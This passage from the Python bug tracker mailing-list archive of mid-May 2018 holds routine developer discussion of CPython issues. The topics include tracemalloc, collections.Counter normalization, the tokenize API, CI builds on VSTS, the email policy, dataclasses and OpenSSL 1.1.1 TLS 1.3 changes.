way that "from ." could be implemented for __main__. Why does it act different than in modules? I have reproduced my original ploblem in a simplified scenario, for which I will raise a new bug. Thanks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 22:04:32 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 02:04:32 +0000 Subject: [issue33564] IDLE: add 'async' to codecontext block openers In-Reply-To: <1526600059.04.0.682650639539.issue33564@psf.upfronthosting.co.za> Message-ID: <1526609072.74.0.682650639539.issue33564@psf.upfronthosting.co.za> Terry J. Reedy added the comment: New changeset b2a02b9d88db04c12f800bc088afea0ef6862673 by Terry Jan Reedy (Miss Islington (bot)) in branch '3.7': bpo-33564: Add async to IDLE's code context block openers. (GH-6960) (#6961) https://github.com/python/cpython/commit/b2a02b9d88db04c12f800bc088afea0ef6862673 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 22:32:03 2018 From: report at bugs.python.org (Skip Montanaro) Date: Fri, 18 May 2018 02:32:03 +0000 Subject: [issue33556] leftover thread crumb in threading.ident docstring In-Reply-To: <1526565190.58.0.682650639539.issue33556@psf.upfronthosting.co.za> Message-ID: <1526610723.92.0.682650639539.issue33556@psf.upfronthosting.co.za> Change by Skip Montanaro : ---------- keywords: +patch pull_requests: +6622 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 22:40:46 2018 From: report at bugs.python.org (Alexander Mohr) Date: Fri, 18 May 2018 02:40:46 +0000 Subject: [issue33565] strange tracemalloc results Message-ID: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> New submission from Alexander Mohr : while investigating https://github.com/boto/botocore/issues/1464 I used tracemalloc (like I've done before in 3.5.2) to try to figure out where the leak was. To my surprise tracemalloc listed stacks that didn't make any sense. Strangest example is the top result when running the attached script against python 3.6.5 in the following manner: PYTHONMALLOC=malloc /valgrind/bin/python3 /tmp/test.py head_object The top hit is listed as: 21 memory blocks: 4.7 KiB File "/tmp/test.py", line 28 raise File "/tmp/test.py", line 47 test(s3_client) File "/tmp/test.py", line 65 main() how is it that the "raise" is a leak? It doesn't make any sense to me specially given that no contexts are used in that call. Further that line is never hit because the exception is not re-thrown. Further a bunch of regular expression allocs don't make any sense either given that I've cleared the cache before doing snapshots. if someone could shed some light on why this is/isn't a bug that would be great. It seems to me that the callstacks are not related at all to the leak. ---------- components: Library (Lib) files: tracemalloc_test.py messages: 317002 nosy: thehesiod priority: normal severity: normal status: open title: strange tracemalloc results versions: Python 3.6 Added file: https://bugs.python.org/file47600/tracemalloc_test.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 22:41:00 2018 From: report at bugs.python.org (Alexander Mohr) Date: Fri, 18 May 2018 02:41:00 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526611260.3.0.682650639539.issue33565@psf.upfronthosting.co.za> Change by Alexander Mohr : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu May 17 23:24:23 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 18 May 2018 03:24:23 +0000 Subject: [issue33564] IDLE: add 'async' to codecontext block openers In-Reply-To: <1526600059.04.0.682650639539.issue33564@psf.upfronthosting.co.za> Message-ID: <1526613863.8.0.682650639539.issue33564@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 00:09:52 2018 From: report at bugs.python.org (Jelle Zijlstra) Date: Fri, 18 May 2018 04:09:52 +0000 Subject: [issue33519] Should MutableSequence provide .copy()? In-Reply-To: <1526396967.72.0.682650639539.issue33519@psf.upfronthosting.co.za> Message-ID: <1526616592.7.0.682650639539.issue33519@psf.upfronthosting.co.za> Change by Jelle Zijlstra : ---------- keywords: +patch pull_requests: +6623 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 00:57:24 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Fri, 18 May 2018 04:57:24 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526619444.08.0.682650639539.issue33522@psf.upfronthosting.co.za> Gregory P. Smith added the comment: Your PRs made modifications to code and did not include a useful commit message or appropriate NEWS entries for the code modifications. Further, VSTS is unreliable. core-workflow made a premature decision to turn off Travis and AppVeyor and make VSTS blocking. ---------- nosy: +gregory.p.smith resolution: fixed -> stage: resolved -> _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 01:53:54 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 18 May 2018 05:53:54 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1526622834.4.0.682650639539.issue28556@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- pull_requests: +6624 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:01:30 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 18 May 2018 07:01:30 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526626890.5.0.682650639539.issue12486@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: The old generate_tokens() was renamed to tokenize() in issue719888 because the latter is a better name. Is "generate_tokens" considered a good name now? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:04:20 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 18 May 2018 07:04:20 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526627060.83.0.682650639539.issue12486@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- nosy: +barry, mark.dickinson, michael.foord, trent versions: +Python 3.8 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:05:30 2018 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 18 May 2018 07:05:30 +0000 Subject: [issue25478] Consider adding a normalize() method to collections.Counter() In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za> Message-ID: <1526627130.27.0.682650639539.issue25478@psf.upfronthosting.co.za> Mark Dickinson added the comment: > total should be a cached property, that's updated on every Counter update That would run into difficulties for Counters with float values: e.g., after >>> c = Counter() >>> c['spam'] = 1e100 >>> c['eggs'] = 1 >>> c['spam'] = 0 the cached total would likely be 0.0, because that's what the sum of the (new-old) values gives: >>> (1e100 - 0) + (1 - 0) + (0 - 1e100) 0.0 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:13:53 2018 From: report at bugs.python.org (Ammar Askar) Date: Fri, 18 May 2018 07:13:53 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526627633.3.0.682650639539.issue33522@psf.upfronthosting.co.za> Ammar Askar added the comment: >core-workflow made a premature decision to turn off Travis and AppVeyor and make VSTS blocking. It looks like AppVeyor and Travis are still running as of the latest PR: https://github.com/python/cpython/pull/6965 Annoyingly, I don't think there's a way to make certain checks like VSTS be optional and not show up with a red cross on Github. ---------- nosy: +ammar2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:28:09 2018 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Fri, 18 May 2018 07:28:09 +0000 Subject: [issue25478] Consider adding a normalize() method to collections.Counter() In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za> Message-ID: <1526628489.32.0.682650639539.issue25478@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: Well, yes, floats are innacurate. Do you really expect to normalize Counters containing values like a googol, or was it just a strawman? For me, it is much more imaginable* that total be zero because you have a negative value (e.g. {'spam': -1, 'eggs': 1}) than because you had a googol in your Counter at some time in the past. (*) Note that the documentation says > Counts are allowed to be any integer value including zero or _negative_ counts. (emphasis mine) ... and floats are only mentioned at the bottom, in a Note. Besides, floats have that problem already, even with an existing API: >>> from collections import Counter as C >>> big = C(spam=1e100) >>> c = C(spam=1) >>> not +c False >>> c.update(big) >>> c.subtract(big) >>> not +c True ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:40:17 2018 From: report at bugs.python.org (Mark Dickinson) Date: Fri, 18 May 2018 07:40:17 +0000 Subject: [issue25478] Consider adding a normalize() method to collections.Counter() In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za> Message-ID: <1526629217.91.0.682650639539.issue25478@psf.upfronthosting.co.za> Mark Dickinson added the comment: The point is that if you cache the total and update on each operation, you end up with a total that depends not just on the current contents of the Counter, but also on the history of operations. That seems like a bad idea: you could have two Counters with exactly the same counts in them (so that they compare equal), but with different cached totals. So if floats (or Decimal instances) are permitted as Counter values, your suggested caching approach is not viable. Of course, if Counter values are restricted to be plain old integers then it's fine, but that's not the current state of affairs. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:42:29 2018 From: report at bugs.python.org (Andrew Svetlov) Date: Fri, 18 May 2018 07:42:29 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526629349.38.0.682650639539.issue33565@psf.upfronthosting.co.za> Andrew Svetlov added the comment: Victor, could you take a look? ---------- nosy: +asvetlov, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:48:49 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Fri, 18 May 2018 07:48:49 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526629729.6.0.682650639539.issue12486@psf.upfronthosting.co.za> Thomas Kluyver added the comment: I wouldn't say it's a good name, but I think the advantage of documenting an existing name outweighs that. We can start (or continue) using generate_tokens() right away, whereas a new name presumably wouldn't be available until Python 3.8 comes out. And we usually don't require a new Python version until a couple of years after it is released. If we want to add better names or clearer APIs on top of this, great. But I don't want that discussion to hold up the simple step of committing to keep the existing API. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 03:59:47 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 18 May 2018 07:59:47 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526630387.55.0.682650639539.issue12486@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: My concern is that we will have two functions with non-similar names (tokenize() and generate_tokens()) that does virtually the same, but accept different types of input (bytes or str), and the single function untokenize() that produces different type of result depending on the value of input. This doesn't look like a good design to me. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:05:38 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 18 May 2018 08:05:38 +0000 Subject: [issue33554] Optimize PyDictObject In-Reply-To: <1526551544.61.0.682650639539.issue33554@psf.upfronthosting.co.za> Message-ID: <1526630738.11.0.682650639539.issue33554@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I'm -1 too. There are no visible benefits, but this change makes maintaining harder and adds a risk of introducing bugs and performance regression. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:06:05 2018 From: report at bugs.python.org (Min) Date: Fri, 18 May 2018 08:06:05 +0000 Subject: [issue33566] re.findall() dead locked whent the expected ending char not occur until end of string Message-ID: <1526630765.64.0.682650639539.issue33566@psf.upfronthosting.co.za> New submission from Min : Firstly, I wrote something like this: patn = r"\bROW\s*\((\d+|\*)\)(.|\s)*?\)" newlines = re.sub(patn, "\nYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY\n", newlines) but if the file(or string) ended without the expected ")" the code deadlock there, no progress, no exception, and no exit. Then I changed it to : patn = r"\bROW\s*\((\d+|\*)\)(.|\s)*?(\)|$)" newlines = re.sub(patn, "\nYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY\n", newlines) to enforce the rule of end of file. then everything ok. I felt this is a but, coz RE should not die, it should exit if can't match. it is Py3.5 on ubuntu. Thanks! ---------- messages: 317013 nosy: mamamiaibm priority: normal severity: normal status: open title: re.findall() dead locked whent the expected ending char not occur until end of string type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:07:01 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Fri, 18 May 2018 08:07:01 +0000 Subject: [issue33559] Exception's repr change not documented In-Reply-To: <1526573098.08.0.682650639539.issue33559@psf.upfronthosting.co.za> Message-ID: <1526630821.85.0.682650639539.issue33559@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Thank you for your report and PR Miro! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:09:57 2018 From: report at bugs.python.org (Min) Date: Fri, 18 May 2018 08:09:57 +0000 Subject: [issue33566] re.findall() dead locked whent the expected ending char not occur until end of string In-Reply-To: <1526630765.64.0.682650639539.issue33566@psf.upfronthosting.co.za> Message-ID: <1526630997.64.0.682650639539.issue33566@psf.upfronthosting.co.za> Min added the comment: Sorry, forgot I have upgraded to 3.6.2, not 3.5 ---------- versions: +Python 3.6 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:17:25 2018 From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=) Date: Fri, 18 May 2018 08:17:25 +0000 Subject: [issue25478] Consider adding a normalize() method to collections.Counter() In-Reply-To: <1445826280.05.0.307309053044.issue25478@psf.upfronthosting.co.za> Message-ID: <1526631445.96.0.682650639539.issue25478@psf.upfronthosting.co.za> Vedran ?a?i? added the comment: My reading of the documentation says floats are only tentatively supported. The main text of the documentation says the values are supposed to be integers. Even the note mostly talks about negative values, the floats are mentioned in only one item. (And in that item, it says the value type should support addition and subtraction. I think it's not too big a stretch to stipulate it should support them accurately.:) But whatever you do about total (cached property was just my idea to enable implementation of a probability distribution as a view on a Counter), it's obvious from the documentation that the output of normalize is _not_ a Counter. It might be a subclass, but I'd rather it be a completely separate class. The API intersection is not really that fat. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:19:22 2018 From: report at bugs.python.org (Min) Date: Fri, 18 May 2018 08:19:22 +0000 Subject: [issue33566] re.findall() dead locked whent the expected ending char not occur until end of string In-Reply-To: <1526630765.64.0.682650639539.issue33566@psf.upfronthosting.co.za> Message-ID: <1526631562.21.0.682650639539.issue33566@psf.upfronthosting.co.za> Min added the comment: Sorry again, the sample code offered is issue of re.sub(), not findall() :o))) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:21:22 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Fri, 18 May 2018 08:21:22 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526631682.82.0.682650639539.issue12486@psf.upfronthosting.co.za> Thomas Kluyver added the comment: I agree, it's not a good design, but it's what's already there; I just want to ensure that it won't be removed without a deprecation cycle. My PR makes no changes to behaviour, only to documentation and tests. This and issue 9969 have both been around for several years. A new tokenize API is clearly not at the top of anyone's priority list - and that's fine. I'd rather have *some* unicode API today than a promise of a nice unicode API in the future. And it doesn't preclude adding a better API later, it just means that the existing API would have to have a deprecation cycle. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:52:25 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=) Date: Fri, 18 May 2018 08:52:25 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526633545.97.0.682650639539.issue33522@psf.upfronthosting.co.za> St?phane Wirtel added the comment: Hi Steve I just saw VSTS in action, it's a great job, thank you. Compared to Travis-CI: * is there more computers for the tests on VSTS? * with time, what will be the reference if there is a 'green' build? TravisCI or VSTS? Thank you again for the job. ---------- nosy: +matrixise _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:53:49 2018 From: report at bugs.python.org (Martin Panter) Date: Fri, 18 May 2018 08:53:49 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526633629.2.0.682650639539.issue12486@psf.upfronthosting.co.za> Martin Panter added the comment: Don?t forget about updating __all__. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 04:56:08 2018 From: report at bugs.python.org (Thomas Kluyver) Date: Fri, 18 May 2018 08:56:08 +0000 Subject: [issue12486] tokenize module should have a unicode API In-Reply-To: <1309751897.67.0.332272921906.issue12486@psf.upfronthosting.co.za> Message-ID: <1526633768.93.0.682650639539.issue12486@psf.upfronthosting.co.za> Thomas Kluyver added the comment: Thanks - I had forgotten it, just fixed it now. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 06:41:41 2018 From: report at bugs.python.org (Martijn Pieters) Date: Fri, 18 May 2018 10:41:41 +0000 Subject: [issue33567] Explicitly mention bytes and other buffers in the documentation for float() Message-ID: <1526640101.14.0.682650639539.issue33567@psf.upfronthosting.co.za> New submission from Martijn Pieters : float(bytesobject) treats the contents of the bytesobject as a sequence of ASCII characters, and converts those to a float value as if you used float(bytesobject.decode('ASCII')). The same support is extended to other objects implementing the buffer protocol. The documentation, however, doesn't mention this: > Return a floating point number constructed from a number or string x. Everywhere else in the functions documentation, "string" refers to an object of type `str`. Please make it explicit that `bytes` is also acceptedable, like it does for the int() documentation. ---------- messages: 317022 nosy: mjpieters priority: normal severity: normal status: open title: Explicitly mention bytes and other buffers in the documentation for float() _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 07:09:27 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Fri, 18 May 2018 11:09:27 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526641767.85.0.682650639539.issue33565@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Can you post a reproducer that doesn't involve S3? ---------- nosy: +pitrou _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 08:00:07 2018 From: report at bugs.python.org (=?utf-8?q?Jo=C3=ABl_Schaerer?=) Date: Fri, 18 May 2018 12:00:07 +0000 Subject: [issue33567] Explicitly mention bytes and other buffers in the documentation for float() In-Reply-To: <1526640101.14.0.682650639539.issue33567@psf.upfronthosting.co.za> Message-ID: <1526644807.29.0.682650639539.issue33567@psf.upfronthosting.co.za> Change by Jo?l Schaerer : ---------- nosy: +joelthelion _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 08:03:03 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Fri, 18 May 2018 12:03:03 +0000 Subject: [issue33524] non-ascii characters in headers causes TypeError on email.policy.Policy.fold In-Reply-To: <1526402130.36.0.682650639539.issue33524@psf.upfronthosting.co.za> Message-ID: <1526644983.09.0.682650639539.issue33524@psf.upfronthosting.co.za> Change by Licht Takeuchi : ---------- keywords: +patch pull_requests: +6625 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 08:05:37 2018 From: report at bugs.python.org (Berker Peksag) Date: Fri, 18 May 2018 12:05:37 +0000 Subject: [issue32463] problems with shutil.py and os.get_terminal_size In-Reply-To: <1514718751.47.0.467229070634.issue32463@psf.upfronthosting.co.za> Message-ID: <1526645137.8.0.682650639539.issue32463@psf.upfronthosting.co.za> Berker Peksag added the comment: Thanks for the report. I agree with Eryk. os.get_terminal_size() is a low-level function. shutil.get_terminal_size() should be used as documented at https://docs.python.org/3/library/os.html#os.get_terminal_size shutil.get_terminal_size() is the high-level function which should normally be used, os.get_terminal_size is the low-level implementation. ---------- nosy: +berker.peksag resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 08:12:02 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Fri, 18 May 2018 12:12:02 +0000 Subject: [issue33568] Inconsistent behavior of non-ascii handling in EmailPolicy.fold Message-ID: <1526645522.46.0.682650639539.issue33568@psf.upfronthosting.co.za> New submission from Licht Takeuchi : policy.utf8 is False, but non-ascii are not well-handled. Repro. code. ``` Python 3.6.4 |Anaconda, Inc.| (default, Jan 16 2018, 18:10:19) [GCC 7.2.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> from email.message import EmailMessage >>> from email.policy import default >>> >>> policy = default.clone() >>> policy.utf8 False >>> msg = EmailMessage() >>> msg["Subject"] = "?" >>> policy.fold("Subject", msg["Subject"]) 'Subject: =?utf-8?q?=C3=A1?=\n' >>> policy.fold("Subject", '?') 'Subject: ?\n' ``` ---------- components: Library (Lib) messages: 317025 nosy: licht-t priority: normal severity: normal status: open title: Inconsistent behavior of non-ascii handling in EmailPolicy.fold versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 08:12:13 2018 From: report at bugs.python.org (Licht Takeuchi) Date: Fri, 18 May 2018 12:12:13 +0000 Subject: [issue33568] Inconsistent behavior of non-ascii handling in EmailPolicy.fold In-Reply-To: <1526645522.46.0.682650639539.issue33568@psf.upfronthosting.co.za> Message-ID: <1526645533.63.0.682650639539.issue33568@psf.upfronthosting.co.za> Change by Licht Takeuchi : ---------- type: -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 08:39:55 2018 From: report at bugs.python.org (reinhrst) Date: Fri, 18 May 2018 12:39:55 +0000 Subject: [issue33569] dataclasses InitVar does not maintain any type info Message-ID: <1526647195.4.0.682650639539.issue33569@psf.upfronthosting.co.za> New submission from reinhrst : Right now dataclasses.InitVar[something] is dataclasses.InitVar. This means that any type-information is removed, and it will (for instance) be impossible to do (runtime) type info checks on the generated __init__, or find out anything about the type of the variable. ---------- messages: 317026 nosy: reinhrst priority: normal severity: normal status: open title: dataclasses InitVar does not maintain any type info versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 08:54:06 2018 From: report at bugs.python.org (Aviv Palivoda) Date: Fri, 18 May 2018 12:54:06 +0000 Subject: [issue33376] [pysqlite] Duplicate rows can be returned after rolling back a transaction In-Reply-To: <1524874511.54.0.682650639539.issue33376@psf.upfronthosting.co.za> Message-ID: <1526648046.31.0.682650639539.issue33376@psf.upfronthosting.co.za> Change by Aviv Palivoda : ---------- nosy: +palaviv _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 09:00:38 2018 From: report at bugs.python.org (Christian Heimes) Date: Fri, 18 May 2018 13:00:38 +0000 Subject: [issue33570] OpenSSL 1.1.1 / TLS 1.3 cipher suite changes Message-ID: <1526648438.42.0.682650639539.issue33570@psf.upfronthosting.co.za> New submission from Christian Heimes : The definition and configuration of TLS 1.3 cipher suites has changed during the development phase of OpenSSL 1.1.1. The cipher suites are no longer prefixed with "TLS13-". TLS 1.3 are always enabled and can no longer be disabled with SSLContext.set_ciphers() / SSL_CTX_set_cipher_list(). Instead the suites are now configured with SSL_CTX_set_ciphersuites(). See https://github.com/openssl/openssl/pull/5392 For now I'm not going to expose the new API. Instead I'll update the documentation and tests for 2.7 to 3.8 with new names. I'll also mention that TLS 1.3 suites will be always available with OpenSSL 1.1.1. ---------- assignee: christian.heimes components: SSL messages: 317027 nosy: alex, benjamin.peterson, christian.heimes, dstufft, janssen, ned.deily priority: high severity: normal stage: test needed status: open title: OpenSSL 1.1.1 / TLS 1.3 cipher suite changes type: behavior versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 09:09:05 2018 From: report at bugs.python.org (Christian Heimes) Date: Fri, 18 May 2018 13:09:05 +0000 Subject: [issue30437] SSL_shutdown needs SSL_read() until SSL_ERROR_ZERO_RETURN In-Reply-To: <1495511053.18.0.843263784452.issue30437@psf.upfronthosting.co.za> Message-ID: <1526648945.1.0.682650639539.issue30437@psf.upfronthosting.co.za> Christian Heimes added the comment: The issue can occur when the peer sends data while processing the close notify alert. The meaningless SSL_ERROR_SYSCALL in SSL_shutdown() is even more severe with OpenSSL 1.1.1 and TLS 1.3. In case the client only writes and never reads, SSL_shutdown fails to unwrap the socket. The issue is caused by the fact that the session ticket is transferred after the handshake. With a SSL_read(), the ticket is stuck on the wire and may not be consumed until OpenSSL waits for close notify TLS alert. In https://github.com/openssl/openssl/issues/6262#issuecomment-389987860 Kurt wrote: > The peer is still allowed to send data after receiving the "close notify" event. If the peer did send data it need to be processed by calling SSL_read() before calling SSL_shutdown() a second time. SSL_read() will indicate the end of the peer data by returning <= 0 and SSL_get_error() returning SSL_ERROR_ZERO_RETURN. It is recommended to call SSL_read() between SSL_shutdown() calls. I hacked SSL_read() into the code and the problem did no longer occur for me. My workaround is not a proper solution, though. The shutdown code is slightly complicated (to say the least). ---------- priority: normal -> deferred blocker title: SSL_shutdown can return meaningless SSL_ERROR_SYSCALL -> SSL_shutdown needs SSL_read() until SSL_ERROR_ZERO_RETURN versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 09:25:34 2018 From: report at bugs.python.org (Berker Peksag) Date: Fri, 18 May 2018 13:25:34 +0000 Subject: [issue32519] venv API docs - symlinks default incorrect In-Reply-To: <1515423516.58.0.467229070634.issue32519@psf.upfronthosting.co.za> Message-ID: <1526649934.77.0.682650639539.issue32519@psf.upfronthosting.co.za> Change by Berker Peksag : ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 09:49:38 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 18 May 2018 13:49:38 +0000 Subject: [issue33571] Add triple quotes to list of delimiters that trigger '...' prompt Message-ID: <1526651378.97.0.682650639539.issue33571@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- assignee: docs at python components: Documentation nosy: adelfino, docs at python priority: normal severity: normal status: open title: Add triple quotes to list of delimiters that trigger '...' prompt type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 09:50:23 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Fri, 18 May 2018 13:50:23 +0000 Subject: [issue33571] Add triple quotes to list of delimiters that trigger '...' prompt Message-ID: <1526651423.83.0.682650639539.issue33571@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- keywords: +patch pull_requests: +6626 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 10:22:33 2018 From: report at bugs.python.org (Steve Dower) Date: Fri, 18 May 2018 14:22:33 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526653353.48.0.682650639539.issue33522@psf.upfronthosting.co.za> Steve Dower added the comment: > * is there more computers for the tests on VSTS? I don't know what Travis is giving us, but Microsoft has provided 20 concurrent builds. They also seem to be more powerful machines, though some caching features are missing and many builds seem to take about the same time. > * with time, what will be the reference if there is a 'green' build? TravisCI or VSTS? This is a question for the core-workflow list. I'm deliberately staying out of this part of the discussion. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 10:26:24 2018 From: report at bugs.python.org (Steve Dower) Date: Fri, 18 May 2018 14:26:24 +0000 Subject: [issue33522] Enable CI builds on Visual Studio Team Services In-Reply-To: <1526400954.34.0.682650639539.issue33522@psf.upfronthosting.co.za> Message-ID: <1526653584.19.0.682650639539.issue33522@psf.upfronthosting.co.za> Steve Dower added the comment: > I don't think there's a way to make certain checks like VSTS be optional and not show up with a red cross on Github Most of the failures I've seen have been reproducible, so I suspect they're due to race conditions that rarely occurred on Travis. Unfortunately, we are no longer watching the build bots as closely as we used to, so many platform-specific or configuration-specific failures are missed :( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 10:44:49 2018 From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Blondon?=) Date: Fri, 18 May 2018 14:44:49 +0000 Subject: [issue33507] Improving the html rendered by cgitb.html In-Reply-To: <1526541196.05.0.682650639539.issue33507@psf.upfronthosting.co.za> Message-ID: St?phane Blondon added the comment: > Instead of hardcoding colors, would it be better to use CSS instead. I agree with you. The current source code contains hardcoded colors. I could add an optional parameter to change the css for the cgitb.html() function: def html(einfo, context=5, css=_DEFAULT_CSS): ... _DEFAULT_CSS would be a string with the equivalent of the hardcoded style. For this change, I will modify the html code to replace some deprecated tags (like big or font) by supported tags. What do you think about it (new optional parameter and html update)? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 11:00:23 2018 From: report at bugs.python.org (Ivan Pozdeev) Date: Fri, 18 May 2018 15:00:23 +0000 Subject: [issue33257] Race conditions in Tkinter with non-threaded Tcl 